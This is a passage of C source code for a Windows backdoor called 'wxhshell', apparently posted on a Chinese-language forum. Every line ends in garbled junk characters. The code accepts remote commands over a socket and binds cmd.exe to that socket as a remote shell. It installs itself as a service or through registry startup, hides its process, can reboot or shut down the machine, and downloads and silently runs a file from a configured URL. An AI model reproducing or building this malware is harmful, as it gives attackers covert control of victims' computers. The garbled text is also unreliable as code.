  } 4S4gK   
  else { pjQyN|KS  
><xmw=  
    switch(cmd[0]) { qz2`%8}F)  
  k~3\0man  
  // 帮助  <4< y  
  case '?': { $G{j[iLY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y%x:~.  
    break; r;"D>IM\  
  } ,In%r`{i  
  // 安装 s {^wr6B  
  case 'i': { ;$e)r3r`LV  
    if(Install()) IP@3R(DS%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U$3DIJVI  
    else 8@LUL)"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9%53 _nx?  
    break; >P:U9 b  
    } q+2A>:|  
  // 卸载 fE_%,DJE(  
  case 'r': { `& '{R<cL  
    if(Uninstall()) #9 Fk&Lx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m)  rVzL  
    else wwQ2\2w>Hm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NHe)$%a=H  
    break; byMy- v;  
    } )l.uj  
  // 显示 wxhshell 所在路径 +6$ -"lf  
  case 'p': { sjb.Ezoq3  
    char svExeFile[MAX_PATH]; o`!#io  
    strcpy(svExeFile,"\n\r"); T>7N "C  
      strcat(svExeFile,ExeFile); m{$}u@a  
        send(wsh,svExeFile,strlen(svExeFile),0); {`e-%<  
    break; 7a^D[f0V  
    } sINf/mv+  
  // 重启 LI&E.(:  
  case 'b': { 3 S*KjY'@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *SIYZE'  
    if(Boot(REBOOT)) Vh2uzG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x*RSD,3  
    else { 7l[ @c|e  
    closesocket(wsh); i$`o,m#  
    ExitThread(0); 12?!Z  
    } r:$*pC&{  
    break; m#i4_F=^b  
    } e|5@7~Vi  
  // 关机 |yz o|%]3  
  case 'd': { -iY-rzW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `#wEa'v6  
    if(Boot(SHUTDOWN)) f F)M'C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S=.%aB  
    else { V5i}^%QSs  
    closesocket(wsh); jT< I`K*  
    ExitThread(0); ?1c7wEk  
    }  ;(J&%  
    break; x DN u'  
    } j@^zK!mO  
  // 获取shell c q[nqjC=  
  case 's': { $Dx*[.M3>  
    CmdShell(wsh); zi_$roq=)  
    closesocket(wsh); ARt{ 2|  
    ExitThread(0); 8 hhMuh  
    break; z5 @i"%f  
  } _+nk3-yQw  
  // 退出 Tx]p4wY:D  
  case 'x': { :uB?h1|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b 9"t%R9/Q  
    CloseIt(wsh); UN F\k1[  
    break; WVhQ?2@}  
    } !Ur.b @ke  
  // 离开 BD;T>M  
  case 'q': { 5c(g7N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); " C&>$h_%  
    closesocket(wsh); 54JZOtC3~  
    WSACleanup(); bvrXz-j  
    exit(1); - 0q263z  
    break; US3)+6  
        } .-![ ra  
  }  S.B?l_d^  
  } nM:<l}~v{  
U`8Er48X  
  // 提示信息 WagL8BpLx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XP0;Q;WF}  
} rQGInzYp  
  } KK1?!7  
a^|9rho<  
  return; G`jvy@  
} b_6cK#  
7FyE?  
// shell模块句柄 )=X g  
int CmdShell(SOCKET sock) MffCk!]  
{ QV HI}3~  
STARTUPINFO si; @1&"S7@}u  
ZeroMemory(&si,sizeof(si)); ?u?mSO/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iAk.pH]a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B(vCi^  
PROCESS_INFORMATION ProcessInfo; &+A78I   
char cmdline[]="cmd"; ks6iy}f7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n1JV)4Mv  
  return 0; %72(gR2Wa2  
} 8>LDo"<  
3**t'iWQ  
// 自身启动模式 G 4~@  
int StartFromService(void) U1Fo #L  
{ >i  >|]  
typedef struct 8#tuB8>  
{ oF]]Pl{W  
  DWORD ExitStatus; _yR_u+5  
  DWORD PebBaseAddress; ;|oft-y  
  DWORD AffinityMask; QdcuV\B}  
  DWORD BasePriority; q+oc^FD?@  
  ULONG UniqueProcessId; 8! !h6dQgI  
  ULONG InheritedFromUniqueProcessId; 42tZBz&  
}   PROCESS_BASIC_INFORMATION; vqQ)Pu?T  
ILl~f\xG)  
PROCNTQSIP NtQueryInformationProcess; ! l0"nPM=  
.{ljhE:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cF=WhP*f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2gkN\w6zQ  
r-!Qw1  
  HANDLE             hProcess; ^2 H-_  
  PROCESS_BASIC_INFORMATION pbi; #.*&#w)  
$ (xdF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1n&%L8]  
  if(NULL == hInst ) return 0; Sw"h!\c`  
/3^XJb$Sa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iymN|KdpaZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :aaX Y:<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |4 \2,M#  
4r ~K`)/S'  
  if (!NtQueryInformationProcess) return 0; yvzH}$!]  
1W\wIj.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^VG].6  
  if(!hProcess) return 0; 1P1h);*Z  
EmrkaV-?k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -P|claO0  
W^xO/xu1 /  
  CloseHandle(hProcess); [xrsa!$   
7}~w9jK"F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [ 't.x=  
if(hProcess==NULL) return 0; yhbU;qEG9  
N\Lu+ x5  
HMODULE hMod; PX/{!_mM  
char procName[255]; Z'2AsT  
unsigned long cbNeeded; +^esL9RG:  
X0^@E   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /FC HF#yK  
S2E z}*plp  
  CloseHandle(hProcess); :;+_<pk  
.81Y/Gad_  
if(strstr(procName,"services")) return 1; // 以服务启动 tA< UkPT  
}v|_]   
  return 0; // 注册表启动 +_pfBJ_$%  
} Fp@>(M#3  
rFzj\%xa[  
// 主模块 tN\I2wm  
int StartWxhshell(LPSTR lpCmdLine) o@.{|j  
{ w}OBp^V^  
  SOCKET wsl; cUG^^3!  
BOOL val=TRUE; F@q9UlfB-  
  int port=0; 6s~B2t:Y  
  struct sockaddr_in door;  dm=?o  
r"{jrBK$  
  if(wscfg.ws_autoins) Install(); 8UgogNR\  
ys`oHS f  
port=atoi(lpCmdLine); iEr?s-or  
=fnBE`Uc  
if(port<=0) port=wscfg.ws_port; /J_ ],KdU  
zT6nC5E  
  WSADATA data; nr -< mQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !DSm[Z1  
S#8)N`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D QxuV1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1Hr1Ir<KR  
  door.sin_family = AF_INET; 7 rRI-wZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i\/'w]  
  door.sin_port = htons(port); 1_f+! ns#  
Udtz zka  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k,=<G ,  
closesocket(wsl); ]N'% l]_$  
return 1; m3pDFI  
} W3>9GY90R  
]jVE  
  if(listen(wsl,2) == INVALID_SOCKET) { xl,% Z~[  
closesocket(wsl); |X A0F\  
return 1; fvH{ va.  
} %(khE-SW  
  Wxhshell(wsl); fw,,cu`YA  
  WSACleanup(); m{RXt  
%} zkmEY.e  
return 0; [Z:P{yr  
inO;Uwlv  
} u1y>7,Z6W  
8/tB?j  
// 以NT服务方式启动 p~8O6h@J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j_}:=3  
{ 0%L:jq{5  
DWORD   status = 0; @M<qz\ [  
  DWORD   specificError = 0xfffffff; t'At9<ib  
y6d!?M(0U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YzG?K0O%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2[pOGc$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +CdUr~6  
  serviceStatus.dwWin32ExitCode     = 0; e_|<tYx><  
  serviceStatus.dwServiceSpecificExitCode = 0; 98 5h]KQ  
  serviceStatus.dwCheckPoint       = 0; v.C  
  serviceStatus.dwWaitHint       = 0; "PRHQW  
8M,o)oH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <2 [vR|Q*  
  if (hServiceStatusHandle==0) return; obF|;fwPnR  
71AYDO  
status = GetLastError(); M_%KhK  
  if (status!=NO_ERROR) hLZf A rq}  
{ H3R{+7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 59j`Z^e  
    serviceStatus.dwCheckPoint       = 0;  {p/Yz#  
    serviceStatus.dwWaitHint       = 0; +kYp!00  
    serviceStatus.dwWin32ExitCode     = status; ]k]bLyz\J  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3>L5TYa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K*DH_\SPK  
    return; \ Xh C  
  } )6p6<y  
Nb ~J'"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b,+KXx  
  serviceStatus.dwCheckPoint       = 0; zT&"rcT">  
  serviceStatus.dwWaitHint       = 0; Os>&:{D4!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (Ytr&gh;0  
} d{NMG)`x\  
J>T98y/))  
// 处理NT服务事件,比如:启动、停止 &XcPHZy'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z)^.ai,:0  
{ j~ds)dW%`&  
switch(fdwControl) Pm2LB<qS  
{ l\AdL$$Mb  
case SERVICE_CONTROL_STOP: r`Fs"n#^-4  
  serviceStatus.dwWin32ExitCode = 0; z;9D[ME#1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3zKeN:w  
  serviceStatus.dwCheckPoint   = 0; wt9f2  
  serviceStatus.dwWaitHint     = 0; sj/k';#g  
  { Jv3G\9_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gchs$^1`t  
  } ;Krs*3 s  
  return; &W<9#RPK'  
case SERVICE_CONTROL_PAUSE: "DvZCf[}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Lks+FW  
  break; v07A3oj  
case SERVICE_CONTROL_CONTINUE: %2I>-0]B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; af @a /  
  break; %Ul,9qG+  
case SERVICE_CONTROL_INTERROGATE: JK!`uG+v  
  break; J?Y,3cc.  
}; fP4P'eI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9fbbJ"I+  
} P(@Q[XQ2  
N& F.hi$_  
// 标准应用程序主函数 \ Qx%7 6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @,,G]4zZ!  
{ 4,:I{P_>6B  
Y&,}q_Z:  
// 获取操作系统版本 t`hes $E  
OsIsNt=GetOsVer(); d42Y `Wu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \/ri|fm6l#  
DS%]7,g]  
  // 从命令行安装 O[U`(A:  
  if(strpbrk(lpCmdLine,"iI")) Install(); @.k^ 8hc  
M'R ] ''  
  // 下载执行文件 ~QUNR?h  
if(wscfg.ws_downexe) { PeiRe  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^4]=D nd%  
  WinExec(wscfg.ws_filenam,SW_HIDE); V+lS\E.  
} IOxtuR  
"S'Yn-  
if(!OsIsNt) { (m Yi  
// 如果时win9x,隐藏进程并且设置为注册表启动 *rxYal4ad  
HideProc(); K0vS  
StartWxhshell(lpCmdLine); YhRy C*b  
} [ t8]'RI%  
else J{a9pr6  
  if(StartFromService()) =c,7uB  
  // 以服务方式启动 D{7^y>8_Y-  
  StartServiceCtrlDispatcher(DispatchTable); <a_ (qh@B  
else "v0bdaQH3  
  // 普通方式启动 ,m0 M:!hK  
  StartWxhshell(lpCmdLine); 7y30TU  
5/ U{b5  
return 0; [8Z#HjhQ  
}
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只看该作者 1 发表于: 2006-10-10
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